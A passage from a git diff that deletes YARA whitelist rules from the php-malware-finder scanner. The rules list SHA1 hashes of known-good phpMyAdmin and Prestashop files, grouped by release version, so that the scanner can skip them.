locale/pl/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "1a39333456f3ed00f78c434cd2260aa1f6055d28" or // locale/zh_CN/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "086cf75edbc7a84d7e2da7acd4ef449414b04a30" or // locale/ja/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "5d941f85a5364e609fc1e772df46b11cd53a31ce" or // locale/it/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "38a06d88278ce2d049c27861f1065f946aee5fdb" or // locale/zh_TW/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "d8209cbed693cbfab4e49a20d2b72a545eff09d7" or // doc/doctrees/config.doctree - hash.sha1(0, filesize) == "fb04115aa12c7ba54adcc64b20255b3e93916e94" or // libraries/DisplayResults.class.php - hash.sha1(0, filesize) == "e80ac17842b54c099836c04e4eebf72f09c36559" or // doc/doctrees/faq.doctree - - /* Phpmyadmin 4.0.6 */ - hash.sha1(0, filesize) == "178edee119fd53a1ca87f289213faf34c6e23065" or // locale/it/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "89137874313404331edd64dd561ee72c1e90a966" or // locale/pl/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "21ace5bcde26b98a381091fc3dda588115bff565" or // locale/sv/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "819cfe3120478406300d5fc446d258df9790db10" or // locale/ja/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "5c0ba64f2f6f4de362cb2a227325194283edd64b" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "5993a60e0f14ef9d898b3f82e7bb5faf410084c9" or // doc/doctrees/config.doctree - hash.sha1(0, filesize) == "5bf1ebc6cd395fc8cc084f2b2ce45ad31a2e847f" or // libraries/DisplayResults.class.php - - /* Phpmyadmin 4.0.7 */ - hash.sha1(0, filesize) == "23590f9a72fd45409b79f238e6a32d394268d484" or // server_databases.php - hash.sha1(0, filesize) == "f9b7639cb78d11bd6f55a89a4630409b1f0b4ed6" or // locale/zh_CN/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "6790cd3b963f31c4706689564bb3a758868e25e2" or // locale/ja/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "0c7b68640f071c0a7cf2d5c27b1ab1a557778c35" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "c9d24ecbe33a5a9bed089be06008d5ace9fe8022" or // doc/doctrees/config.doctree - hash.sha1(0, filesize) == "28d2a89687bf1ab53d52180043635f0290d3e848" or // locale/en_GB/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "2747f18959d06cadac8cd8d8a16b95ff8ef0fd25" or // locale/nb/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "8eb466ea26d87c9a5b55c8349b106f5b621d8347" or // libraries/DisplayResults.class.php - - /* Phpmyadmin 4.0.8 */ - hash.sha1(0, filesize) == "47b80bc9f6a053cbd794e349bf7c81e1ac523780" or // doc/doctrees/config.doctree - hash.sha1(0, filesize) == "75f3774629d8bb599b4111a36a5b813e800b61bf" or // doc/doctrees/faq.doctree - - /* Phpmyadmin 4.0.9 */ - hash.sha1(0, filesize) == "1db96b0f2bab1a326255a271c190859ca0d2fd15" or // locale/ja/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "5dc82742fbbe5b2322321995474a0a1a784736a1" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "f8ed7a657101c83ca24761111dfcf8298818ea84" or // doc/doctrees/config.doctree - - /* Phpmyadmin 4.0.10 */ - hash.sha1(0, filesize) == "3cb1858da44833ca8bca16c2651881d5d899a1dc" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "cabf489740e6cf929cc6641dc68caac9b7a402a1" // doc/doctrees/config.doctree - -} diff --git a/php-malware-finder/whitelists/prestashop.yar b/php-malware-finder/whitelists/prestashop.yar deleted file mode 100644 index 2f67825..0000000 --- a/php-malware-finder/whitelists/prestashop.yar +++ /dev/null @@ -1,468 +0,0 @@ -import "hash" - -private rule Prestashop : ECommerce -{ - meta: - generated = "2016-07-28T17:41:37.968993" - - condition: - /* Prestashop 1.5.0.0 */ - hash.sha1(0, filesize) == "a452c0fa253dc98ac038374eabda7a584696cf61" or // admin-dev/tabs/AdminTaxRulesGroup.php - hash.sha1(0, filesize) == "3ac94ddbcae6c946cb6a07125ac9f9f0e548d433" or // modules/paysafecard/PrepaidServices.php - hash.sha1(0, filesize) == "eb3eea89c40d6e0a71d18f75fe36361a996607dc" or // classes/PDF.php - hash.sha1(0, filesize) == "92ca42f51f3aaea36e0e3c6ba4bbad8dcdd334fe" or // img/t/AdminSubDomains.gif - hash.sha1(0, filesize) == "e0480a54653a7be00c03d6ad3b20b856ecaf423d" or // install-dev/classes/Module.php - hash.sha1(0, filesize) == "45329bf8fbed6e07169bfb1998383afbdf1927f0" or // modules/ekomi/logo.gif - hash.sha1(0, filesize) == "dd46d277fbf67156ccb3d9b66b2d56a1a4298e48" or // tools/smarty_v2/internals/core.create_dir_structure.php - hash.sha1(0, filesize) == "dd469f741cc6614d74b6affecf08125cd9a0d3b7" or // modules/secuvad/secuvad_response.php - hash.sha1(0, filesize) == "af90f72c45dd802a4818b19175212349e62f0b57" or // classes/ObjectModel.php - hash.sha1(0, filesize) == "0d02b500dec55c296e35609b344a017a62665851" or // admin-dev/tabs/AdminLanguages.php - hash.sha1(0, filesize) == "c4254197f75de7af77571abf5d8d4356a12642c7" or // modules/secuvad/classes/Secuvad_connection.php - hash.sha1(0, filesize) == "aec9cbd49ede5354b8cb2a10c3ef92d928fbabfe" or // install-dev/classes/Language.php - hash.sha1(0, filesize) == "240cb8ff71cc91b2b0636c77e4714522131eba01" or // tools/smarty/sysplugins/smarty_internal_templatelexer.php - hash.sha1(0, filesize) == "e5614b2b765520386a4a2778aab8d504381602d1" or // admin-dev/tabs/AdminCarriers.php - hash.sha1(0, filesize) == "ec219db83b83912042740477acc7cc304e3b445f" or // admin-dev/tabs/AdminDb.php - hash.sha1(0, filesize) == "a35984b3c4fe0787f5bf5add97cf97a96f1f5d33" or // modules/mondialrelay/kit_mondialrelay/tools/nusoap/lib/nusoap.php - hash.sha1(0, filesize) == "84c7830bbb0ff4ba8d79644ea6abf3aeec93b734" or // admin-dev/header.inc.php - hash.sha1(0, filesize) == "be7f535eac6a63d207bb873f49f3a57e9667e0f1" or // modules/fianetfraud/fianet/classes/fianet_key_64bits.php - hash.sha1(0, filesize) == "a04b99dc2e88f35ea475e4f18671ccb76c312bb5" or // admin-dev/tabs/AdminShipping.php - hash.sha1(0, filesize) == "ee2e386bc1a5cfc7cf20b7c6fed45bfee8502aae" or // admin-dev/tabs/AdminCustomerThreads.php - hash.sha1(0, filesize) == "ce370dfd9f10189763e549c8cc3f62a47fd46d64" or // install-dev/preactivation.php - hash.sha1(0, filesize) == "86df5348fa8086ee123b20435d56b33a9bd366df" or // modules/mondialrelay/lib/nusoap/class.soap_server.php - hash.sha1(0, filesize) == "ce5741a19f3c7686d0e5c37da57954e930366be3" or // admin-dev/tabs/AdminAttachments.php - hash.sha1(0, filesize) == "b99b3ab45c59b45e7306ab28f17fd15507b93bfb" or // admin-dev/tabs/AdminCMSCategories.php - hash.sha1(0, filesize) == "85d9bc8987f8ddcde06296623aa270c38004ca16" or // modules/mondialrelay/kit_mondialrelay/RechercheDetailPointRelais_ajax.php - hash.sha1(0, filesize) == "6f3dc8c7b6e87b2a11b43e6c7de9bea082c89c1a" or // modules/blockadvertising/blockadvertising.php - hash.sha1(0, filesize) == "8bdd94fe69af79376fa1e83290b7e9698786c22a" or // admin-dev/tabs/AdminScenes.php - hash.sha1(0, filesize) == "2e34d46c435e61001e92d014251dd70fa203144b" or // modules/secuvad/secuvad_config.php - hash.sha1(0, filesize) == "fd6d0ec0e53173ff70535e7ae26216e440fd0e9c" or // modules/mondialrelay/kit_mondialrelay/RecherchePointRelais_ajax.php - hash.sha1(0, filesize) == "42ba6141b60a2500e12cd3b523c41fe831576ccf" or // modules/shopimporter/shopimporter.php - hash.sha1(0, filesize) == "8c1d1237096589873a68e2a9fce0e2521fe06b01" or // modules/statsproduct/statsproduct.php - hash.sha1(0, filesize) == "499d53f4e93d97e251fcc2864cf6b01bcfb5965e" or // modules/themeinstallator/themeinstallator.php - hash.sha1(0, filesize) == "d3e143a05ab214ea8141cce805514808cd502af1" or // classes/Product.php - hash.sha1(0, filesize) == "f664812d6de055014e272966b70a4e5808949f1b" or // admin-dev/tabs/AdminImageResize.php - hash.sha1(0, filesize) == "aea3d997519354fbf43ed1098cfda0e9614255f5" or // modules/paypal/paypal.php - hash.sha1(0, filesize) == "b2b948da08c0437d0bac24f87090ad9eb86ccdf1" or // admin-dev/tabs/AdminSlip.php - hash.sha1(0, filesize) == "1439165e3e6a3c945c1f017c54f25a7e2ecf3e67" or // admin-dev/tabs/AdminPayment.php - hash.sha1(0, filesize) == "9ebab008d87799dcdfc697189c37c12d622268ae" or // modules/criteo/criteo.php - hash.sha1(0, filesize) == "1cb664830a6027d3825f8535953603317af4ac73" or // classes/Tools.php - hash.sha1(0, filesize) == "491e35cb839361fcf053d8f5cb462f2cc1efe869" or // admin-dev/tabs/AdminAddresses.php - hash.sha1(0, filesize) == "9901b50f3171f3117a96922e0614f68ca8ea7781" or // modules/blockcategories/blockcategories.php - hash.sha1(0, filesize) == "d6c32b29ca0f7077fd1b47022bc16284928e05f7" or // admin-dev/tabs/AdminProducts.php - hash.sha1(0, filesize) == "681e6b1034ec0ced209b09d9859ba5c2feee3797" or // admin-dev/tabs/AdminOrdersStates.php - hash.sha1(0, filesize) == "e2a6faa994b437a00e362a2b0ddc4f5f3f4c8223" or // modules/treepodia/treepodia.php - hash.sha1(0, filesize) == "00d4ac0499af32cb8389dd34e2418ba4aa3b6997" or // modules/producttooltip/sample.gif - hash.sha1(0, filesize) == "a35984b3c4fe0787f5bf5add97cf97a96f1f5d33" or // modules/mondialrelay/lib/nusoap/nusoap.php - hash.sha1(0, filesize) == "cc809d3340e5f16e59f1f8727798fc4d219853d5" or // admin-dev/tabs/AdminTranslations.php - hash.sha1(0, filesize) == "27c07a3c1538b3695d718fe6afbbc8a8afac5746" or // install-dev/classes/ConfigurationTest.php - hash.sha1(0, filesize) == "c74e39e3a51f093d180793ccf38c7345e360d8da" or // classes/Link.php - hash.sha1(0, filesize) == "8964a9cd1b695bc7c5ad1289f48fb68f1f4fb8a9" or // tools/fpdf/font/makefont/makefont.php - hash.sha1(0, filesize) == "513918ddb751ba31b9adea8dbbbd9476b9221369" or // modules/cashticket/PrepaidServicesAPI.php - hash.sha1(0, filesize) == "a09cb69e452956c6d10f46ecad57810a55de29de" or // admin-dev/tabs/AdminInformation.php - hash.sha1(0, filesize) == "c1070b84bc4dd6d878b0426a08a9feb4b19bc1e7" or // tools/pear/PEAR.php - hash.sha1(0, filesize) == "0181b670b873f7a9b1fa91f2ac53202f6b4051bc" or // classes/Module.php - hash.sha1(0, filesize) == "683e69d49819a1ebef945ad8c3501ce67aee9a18" or // admin-dev/tabs/AdminPreferences.php - hash.sha1(0, filesize) == "bc6f2df56997b6883ea2bcd1ad9a9c3ef63b2201" or // modules/cashticket/PrepaidServices.php - hash.sha1(0, filesize) == "1d842bed57e7fdc4f3746439f55ce4afcd79a53d" or // classes/HelpAccess.php - hash.sha1(0, filesize) == "f2a3ded357b5533df506847db981f1ece6e03f8c" or // admin-dev/tabs/AdminOrders.php - hash.sha1(0, filesize) == "975ee99560f597cdf3aad06ee19a8d1a041a3a06" or // tools/swift/Swift/Message/Headers.php - hash.sha1(0, filesize) == "41e2413dbbd959791cba5469df1eee39f475b65f" or // modules/ebay/ebay.php - hash.sha1(0, filesize) == "9ca3de05a448367f13177b13d93b6a80792f2373" or // modules/dejala/dejalacarrierutils.php - hash.sha1(0, filesize) == "2d40bf19f68a0190b2953fa7c70d1df144f4aec7" or // admin-dev/tabs/AdminReturn.php - hash.sha1(0, filesize) == "23a7027f52727fe1bc321136f123c3e34e50312f" or // install-dev/index.php - hash.sha1(0, filesize) == "ea94d1972040c85b34b9b2f0e2156119417840dc" or // classes/Language.php - hash.sha1(0, filesize) == "fb5decf3d70a855e53b9db331394617a7ab3af89" or // tools/swift/Swift/Plugin/MailSend.php - hash.sha1(0, filesize) == "86df5348fa8086ee123b20435d56b33a9bd366df" or // modules/mondialrelay/kit_mondialrelay/tools/nusoap/lib/class.soap_server.php - hash.sha1(0, filesize) == "7c33cb59df736f72972db65b9cd05e048e0fd02b" or // admin-dev/tabs/AdminCarts.php - hash.sha1(0, filesize) == "fc87b09ee7bb2b079809687c8fe6a680ce8f9188" or // modules/mondialrelay/mondialrelay.php - hash.sha1(0, filesize) == "1734d2cd09488d74a4321ee2d7b1b19fb92c84e5" or // tools/smarty_v2/plugins/function.html_image.php - hash.sha1(0, filesize) == "3d994da7a17f7a86155599c4e1798cd71548e369" or // classes/AdminTab.php - hash.sha1(0, filesize) == "df3ea34a79261710a807d3651c1874477966e2c4" or // admin-dev/tabs/AdminModulesPositions.php - hash.sha1(0, filesize) == "c3d268243d4da413de89939d8e9a9e16731046e5" or // modules/uspscarrier/uspscarrier.php - hash.sha1(0, filesize) == "35fc9c2e5258db3ec4b742acbabcbf4ac40eb5b0" or // classes/SpecificPrice.php - hash.sha1(0, filesize) == "a7b87bbc239c611fd7307a41cbf4a6cdaedd0c68" or // admin-dev/tabs/AdminTaxes.php - hash.sha1(0, filesize) == "49fd193d79d5d13af0e70e424c255266f9de266a" or // admin-dev/tabs/AdminCategories.php - hash.sha1(0, filesize) == "e51c9340ec69ddd6213b7bae9272e33e4ac61e33" or // modules/paysafecard/PrepaidServicesAPI.php - hash.sha1(0, filesize) == "0838ff9dd13d082cf8f9931f005a59760cbac72d" or // admin-dev/tabs/AdminAttributeGenerator.php - hash.sha1(0, filesize) == "b71d2c002ad93516af5b916fd4e8dfc2039bb0b2" or // admin-dev/tabs/AdminFeatures.php - hash.sha1(0, filesize) == "ddf9748c423633c4bb2e697fa523aa251d073d40" or // modules/statslive/statslive.php - hash.sha1(0, filesize) == "974c4eb92994ab511413fcf7271e976c7a5b952a" or // themes/prestashop/img/icon/my-account.gif - hash.sha1(0, filesize) == "8e1e9763f836d6a0d5a71db5624dab6d07d4797c" or // modules/hipay/hipay.php - hash.sha1(0, filesize) == "b641148c725d0851575b6e32935c84ff95bf45b7" or // modules/mondialrelay/kit_mondialrelay/tools/nusoap/lib/class.soap_transport_http.php - hash.sha1(0, filesize) == "5edb689475a63687000799f45bf20e2ce51d256d" or // img/admin/ok.gif - hash.sha1(0, filesize) == "d9e81a92238b286bbfb7c962201643b41a7a3785" or // admin-dev/tabs/AdminAttributesGroups.php - hash.sha1(0, filesize) == "1f5cbb7b1972a034f430eb2130732c09ae66802e" or // modules/upscarrier/upscarrier.php - hash.sha1(0, filesize) == "047c6c80429e97b1cfd6897942dc6f4abb555e59" or // modules/mondialrelay/googlemap.php - hash.sha1(0, filesize) == "693742c6c60075309d9e44aa91867f7c4b3bf86f" or // admin-dev/tabs/AdminModules.php - hash.sha1(0, filesize) == "9c9fee2d0e902d408dea5d4a8b740f4f62fb85e8" or // modules/ogone/validation.php - hash.sha1(0, filesize) == "509eecfa6835f0dc87f3cd16116344640bd28bf0" or // modules/fedexcarrier/fedexcarrier.php - hash.sha1(0, filesize) == "b641148c725d0851575b6e32935c84ff95bf45b7" or // modules/mondialrelay/lib/nusoap/class.soap_transport_http.php - hash.sha1(0, filesize) == "d2aa2a45c3059eb3bd3fbf933e9a7ffa66fabaea" or // modules/secuvad/classes/Secuvad_flux.php - hash.sha1(0, filesize) == "a68dee63f5c9cd0695fd8f40061d0413e8785301" or // admin-dev/tabs/AdminAccess.php - hash.sha1(0, filesize) == "eb872c8d47081d49e3ac75ae21f623803b941949" or // classes/Tab.php - hash.sha1(0, filesize) == "099d66ec96c35082c3818ec05530688dc8b99a60" or // tools/pclzip/pclzip.lib.php - hash.sha1(0, filesize) == "26ee6a5f67a1f0c5d061bc31cd92f5ac815ec34a" or // modules/statsforecast/statsforecast.php - hash.sha1(0, filesize) == "5edb689475a63687000799f45bf20e2ce51d256d" or // install-dev/img/ok.gif - hash.sha1(0, filesize) == "377271a851966af1c3c700371d31da9ff2e8d1d3" or // modules/statscheckup/statscheckup.php - hash.sha1(0, filesize) == "92ca42f51f3aaea36e0e3c6ba4bbad8dcdd334fe" or // img/admin/subdomain.gif - - /* Prestashop 1.5.0.1 */ - hash.sha1(0, filesize) == "fa3aa53120cc7eb50740051e0c94aae34050f8e7" or // modules/ebay/ebay.php - hash.sha1(0, filesize) == "2770c4f68b722e2f6e32d8b96fed8132c267e75c" or // install-dev/preactivation.php - hash.sha1(0, filesize) == "b35a5bcbe1a88b607d07eafb9eec4531eade3ba3" or // modules/statslive/statslive.php - hash.sha1(0, filesize) == "5edb689475a63687000799f45bf20e2ce51d256d" or // install-new/theme/img/ok.gif - hash.sha1(0, filesize) == "ec98d4f824570c4822f6d7d13191649230c215ba" or // modules/paysafecard/PrepaidServices.php - hash.sha1(0, filesize) == "ec25ae8233b98bec08b1a33484ff10e740870b5c" or // classes/Link.php - hash.sha1(0, filesize) == "4e5e9da68d98b175ba252bfd16a1a4ddf2ffa9ab" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "d28b26791aeb86c5261461efbe961b0c5ae1a575" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "749062bd477dc948854ace176501cd510efbb510" or // modules/paysafecard/PrepaidServicesAPI.php - hash.sha1(0, filesize) == "b6908610d8f632e82bed5d99abe9dfc5521fb849" or // modules/twenga/export.php - hash.sha1(0, filesize) == "62d69e1402d43e281e1e37780602d346661733fc" or // classes/PDF.php - hash.sha1(0, filesize) == "09e4af7aa0bc43d9cc574704766d5cf1934acdbd" or // modules/paypal/paypal.php - hash.sha1(0, filesize) == "d2676acb8e212973c68a7e2efca4649960cacf2b" or // classes/SpecificPrice.php - hash.sha1(0, filesize) == "3f37004ded4d1d5698c900a58b85b412aacd2ee0" or // modules/cashticket/PrepaidServicesAPI.php - hash.sha1(0, filesize) == "21ad83d8cdab8413d55bbd067031e3d313f3a1f8" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "92ca42f51f3aaea36e0e3c6ba4bbad8dcdd334fe" or // install-new/data/img/t/AdminSubDomains.gif - hash.sha1(0, filesize) == "094b2b55695d8bfbb0941e3d5d3c4b4f072ef7d0" or // modules/hipay/hipay.php - hash.sha1(0, filesize) == "8d343bb599325b685e402b14508e3681c63862d3" or // controllers/admin/AdminCustomerThreadsController.php - hash.sha1(0, filesize) == "a314059c41abac9f8f662ec8233c8515f6e948b2" or // modules/shopimporter/shopimporter.php - hash.sha1(0, filesize) == "9fae3ea6be599d26f61673e4a43b64535b297d10" or // install-new/upgrade/classes/Language.php - hash.sha1(0, filesize) == "0dcf9eefba5867321f75da069602bcaff14fb341" or // install-dev/classes/Module.php - hash.sha1(0, filesize) == "9d7941b8de7a541ba1653feb92113ca0f598e8cc" or // modules/canadapost/canadapost.php - hash.sha1(0, filesize) == "165550e6c724069a7a8c363744c616d04c3b01f1" or // controllers/admin/AdminShopController.php - hash.sha1(0, filesize) == "6b0754fe9ae57b3ab249c13fb3e8cf5fa1f7a3c4" or // controllers/admin/AdminImagesController.php - hash.sha1(0, filesize) == "eae1b262d0f072c8b7376f717c6aa364cdcbccf5" or // classes/Module.php - hash.sha1(0, filesize) == "38a6344914ad89045e89c82e9bc4ce4c57938922" or // controllers/admin/AdminProductsController.php - hash.sha1(0, filesize) == "c0f338c3e3d766c25cb5fc6d04e00023116e34ab" or // modules/upscarrier/upscarrier.php - hash.sha1(0, filesize) == "59af18652900d072c261772864909934d0d7aced" or // modules/blockadvertising/blockadvertising.php - hash.sha1(0, filesize) == "0c07b1d0b44dbe04d25c09c850965b3a7a02d88e" or // install-new/models/install.php - hash.sha1(0, filesize) == "8d028c462be2022a871a0dcd3d64c1152ca3e111" or // classes/Product.php - hash.sha1(0, filesize) == "739ff6dae69e09f1822ecc89f77e0a997f9dd318" or // modules/cashticket/PrepaidServices.php - hash.sha1(0, filesize) == "ceba773c122c4a5c012d888f8b0c2b95f3a34820" or // classes/HelpAccess.php - hash.sha1(0, filesize) == "895ef9918875bab93e701790fb9f8756b8481d2d" or // modules/secuvad/secuvad_response.php - hash.sha1(0, filesize) == "11509527e22f8382feb3b77887bbceb3439960af" or // classes/ObjectModel.php - hash.sha1(0, filesize) == "66db725de8a5264d3c694d1cb7b7afdc0654eb0b" or // controllers/admin/AdminCmsCategoriesController.php - hash.sha1(0, filesize) == "a4e89483deb7a7558aff1d94b810ede509ab4f64" or // modules/dejala/dejalacarrierutils.php - hash.sha1(0, filesize) == "d09d1a8c675ebf22568223293d3dd93a85873b7d" or // modules/ogone/validation.php - hash.sha1(0, filesize) == "05e19f190a991aa427499858037586eca4e186fc" or // modules/themeinstallator/themeinstallator.php - hash.sha1(0, filesize) == "6b8ec471e3395781724da3d2a90fe0b40bea3dab" or // classes/Helper.php - hash.sha1(0, filesize) == "91c081cac69bacd2520ba61cb913bec0730e5f5c" or // modules/secuvad/classes/Secuvad_connection.php - hash.sha1(0, filesize) == "d8b3da5ab9482eb4e9b3f5faef359d456d2e9c23" or // modules/fedexcarrier/fedexcarrier.php - hash.sha1(0, filesize) == "895346452b20ab6a527dced12bdaf6700e32f9ee" or // install-dev/classes/Language.php - hash.sha1(0, filesize) == "f48401d3311c0218c7de2c388a5704a52b5c8f0d" or // modules/secuvad/classes/Secuvad_flux.php - hash.sha1(0, filesize) == "f417af86c6c422b9c5e21f076be7d624b2c1df4c" or // install-dev/index.php - hash.sha1(0, filesize) == "a75e482a805d0d5c12b192a03e15d8acc0ebf9ab" or // tools/smarty/sysplugins/smarty_internal_templatelexer.php - hash.sha1(0, filesize) == "3eb33e0d506cc2574100cae9fe3e8321b86ff755" or // modules/criteo/criteo.php - hash.sha1(0, filesize) == "2433f9a2c9bb822e96d7bac1558ca584ec12f152" or // classes/Language.php - hash.sha1(0, filesize) == "6ccde72485efa4e2f5ed77afbe771023985800e3" or // classes/Image.php - hash.sha1(0, filesize) == "27b7b6d6c8f978ac2735160f8aeea123de50c0f3" or // tools/tcpdf/tcpdf.php - hash.sha1(0, filesize) == "78b3d1cfbe187484d19faa6fcad9c390a4e57069" or // classes/Tools.php - hash.sha1(0, filesize) == "fa503eae31c802f6de669751685cb7a1c9c3ae4f" or // classes/Tab.php - hash.sha1(0, filesize) == "665c16e0527765279789a830a257032531548fbb" or // tools/swift/Swift/Plugin/MailSend.php - hash.sha1(0, filesize) == "7060148bf1607846e51ea034109e50c40d8ded74" or // modules/statsforecast/statsforecast.php - hash.sha1(0, filesize) == "a6ac0831e94e1b7a55b112741ff5bc9486faab11" or // classes/HelperList.php - hash.sha1(0, filesize) == "14dbd6ea8884b2dbe345906301edea17904406e1" or // modules/mondialrelay/mondialrelay.php - hash.sha1(0, filesize) == "c4d6bd4c84ff8daab7cf4289c7ad97bad51efbcd" or // modules/blockcategories/blockcategories.php - hash.sha1(0, filesize) == "aacb5869c03c823dcac62422fae2011c62269da0" or // install-new/upgrade/classes/Module.php - hash.sha1(0, filesize) == "28cab8b36661411ce4acf28631a7310ebd6f2b17" or // classes/ConfigurationTest.php - hash.sha1(0, filesize) == "5c6296a4a233f28ea083abb86541e361d70c92f0" or // controllers/admin/AdminTaxesController.php - hash.sha1(0, filesize) == "1a1ff3a7d29ce3af2ec0dc271ce76275b0083d13" or // classes/AdminTab.php - hash.sha1(0, filesize) == "0d0a1f725b315b01bfb514df1b1056ead661dd3a" or // classes/Dispatcher.php - hash.sha1(0, filesize) == "2ca04936523885131d8bf4c223a9c363f9612fea" or // modules/treepodia/treepodia.php - hash.sha1(0, filesize) == "0b744316240ccadc5cbccc1850eb2d810342f28a" or // tools/tcpdf/barcodes.php - hash.sha1(0, filesize) == "9a7e58db4eac152a5882ee8d54d41f632c2302c9" or // classes/HelperOptions.php - hash.sha1(0, filesize) == "64109b57ca7353c2abd5c7bb42e5435f8c12a448" or // classes/AdminController.php - hash.sha1(0, filesize) == "e97e9052cc55d40d4817163092ae93fd91cf8433" or // modules/productcomments/productcomments.php - hash.sha1(0, filesize) == "89850ad0c8cedc3d3da2ad33a1ba553a06e8112e" or // tools/tcpdf/2dbarcodes.php - hash.sha1(0, filesize) == "9ea7bcd0c1d7e00bae4364dc2fef0460b6a580cc" or // modules/uspscarrier/uspscarrier.php - hash.sha1(0, filesize) == "8cd1622fe9d1b3b5144cae4e14da5e7cd172d518" or // install-new/classes/xmlLoader.php - - /* Prestashop 1.5.0.2 */ - hash.sha1(0, filesize) == "02382b1916b4adc1cb0891723427a0a420d88a3b" or // install-dev/preactivation.php - hash.sha1(0, filesize) == "77b81d39b518631d44dcebcd59e96076ed410af1" or // install-dev/php/migrate_orders.php - hash.sha1(0, filesize) == "45d83a9cea487c431ad616fef3578a84d61202bf" or // classes/Link.php - hash.sha1(0, filesize) == "ce13ad7b5a0ab0a911817b8de452a41cf9ad70b7" or // tools/tcpdf/tcpdf.php - hash.sha1(0, filesize) == "35c632774a06ab697a274564861b6a268e958731" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "4b2825805d7de3a5f94b499ba53b9bb34e10b674" or // modules/blockadvertising/blockadvertising.php - hash.sha1(0, filesize) == "1fdfb61cf8a30f120193044d8ebfa66c26b12fbc" or // controllers/admin/AdminTaxesController.php - hash.sha1(0, filesize) == "b8b3871542b329db03fa8aa40d20f17b20a7d714" or // classes/SpecificPrice.php - hash.sha1(0, filesize) == "d0f9a27d9293c295f7f7865ab509747a035761f3" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "56d7208548312556b81e6df41a74cb57391cd57d" or // controllers/admin/AdminShopController.php - hash.sha1(0, filesize) == "d2e8d95820f582aa6e4a7f63b8325b908a8dd299" or // install-new/upgrade/classes/Language.php - hash.sha1(0, filesize) == "6b70b946715e6c6c0c80b6b9e25d705135601f73" or // install-dev/classes/Module.php - hash.sha1(0, filesize) == "e549ae29bede518d60a59d97716317e3490a41ec" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "c96f626e843b6e21c91030e4386776dc4a664f5b" or // controllers/admin/AdminImagesController.php - hash.sha1(0, filesize) == "aff8c299fd524c674efc18c436f321dc77beefbd" or // classes/Module.php - hash.sha1(0, filesize) == "2dff5acffa580f2ac8924262295b8c73aca434d1" or // controllers/admin/AdminProductsController.php - hash.sha1(0, filesize) == "deb8a12afa3d9033e4c5151709029a7d593004a9" or // modules/themeinstallator/themeinstallator.php - hash.sha1(0, filesize) == "3546b92fbf2cf41d6b7df983f25c3eaeb5b66203" or // install-new/models/install.php - hash.sha1(0, filesize) == "2bd7119b422327dd1c57104f7ef6857e1a698c7f" or // classes/Product.php - hash.sha1(0, filesize) == "db57aae4671333e93692df20294cc40d7711a6fb" or // controllers/admin/AdminCmsCategoriesController.php - hash.sha1(0, filesize) == "c2434cd78d5d2bcacc40f33e09b50aa520da063e" or // classes/helper/HelperOptions.php - hash.sha1(0, filesize) == "1c91c55bbd39f41aa78664ef9209312c78e273fe" or // install-dev/classes/Language.php - hash.sha1(0, filesize) == "afd368d0a1b3d6a001e6861b7e39e347df942c92" or // install-dev/index.php - hash.sha1(0, filesize) == "c07153307b9897846341a56d5df8cfd21d9a26ae" or // tools/smarty/sysplugins/smarty_internal_templatelexer.php - hash.sha1(0, filesize) == "4c6c64654db99bff9bffefc5e2f03529ec7b2e12" or // classes/Language.php - hash.sha1(0, filesize) == "25ef7629092ade53b34bdb72f0c22743aae07895" or // classes/Image.php - hash.sha1(0, filesize) == "7df76f9f379d88ca050cbc4f3466f838ec6802b7" or // classes/Tools.php - hash.sha1(0, filesize) == "6deceae47f17276138fead444e64947c00e1bd99" or // classes/Tab.php - hash.sha1(0, filesize) == "9779407600eeb9dd1e6729771500a1d2b67e3bac" or // modules/statsforecast/statsforecast.php - hash.sha1(0, filesize) == "e126115596f5ad511afbf0682bfb2747e831c2cb" or // install-new/upgrade/classes/Module.php - hash.sha1(0, filesize) == "52d943c91c9909701b407f97b673adbd1d93b3cb" or // modules/blockcategories/blockcategories.php - hash.sha1(0, filesize) == "dc9903d52d6adbab408373ab2cb5770fae9e8360" or // classes/Dispatcher.php - hash.sha1(0, filesize) == "3ff018798794d176b0bd193ff7ce32e8597cb268" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "84b2bdb064cc7438102e238fe5d7caf597abe7f7" or // modules/productcomments/productcomments.php - hash.sha1(0, filesize) == "95a0d8797a5151db07e86f9a5d2de9e7fb66d4ce" or // install-new/classes/xmlLoader.php - - /* Prestashop 1.5.0.3 */ - hash.sha1(0, filesize) == "7e6dcb1181e0c7f47e638abb408bf365aaed161d" or // classes/Link.php - hash.sha1(0, filesize) == "0f58accbc5172fe0ef4b4973cfd236d66da6b6a8" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "29d2f6ffd69fd35a5cf1730c370eeb2ec5e9a460" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "8e01742446ea863722407baa356e121c6db973f1" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "f02735d8bf07f24f17dc01e48a10c2838d97f4d0" or // classes/Module.php - hash.sha1(0, filesize) == "ede4dbd5a9ef8a8f4c705a04469772b00368c5f3" or // controllers/admin/AdminProductsController.php - hash.sha1(0, filesize) == "dd6e1624463e0da22b4ffbd0b27700f8f722498e" or // 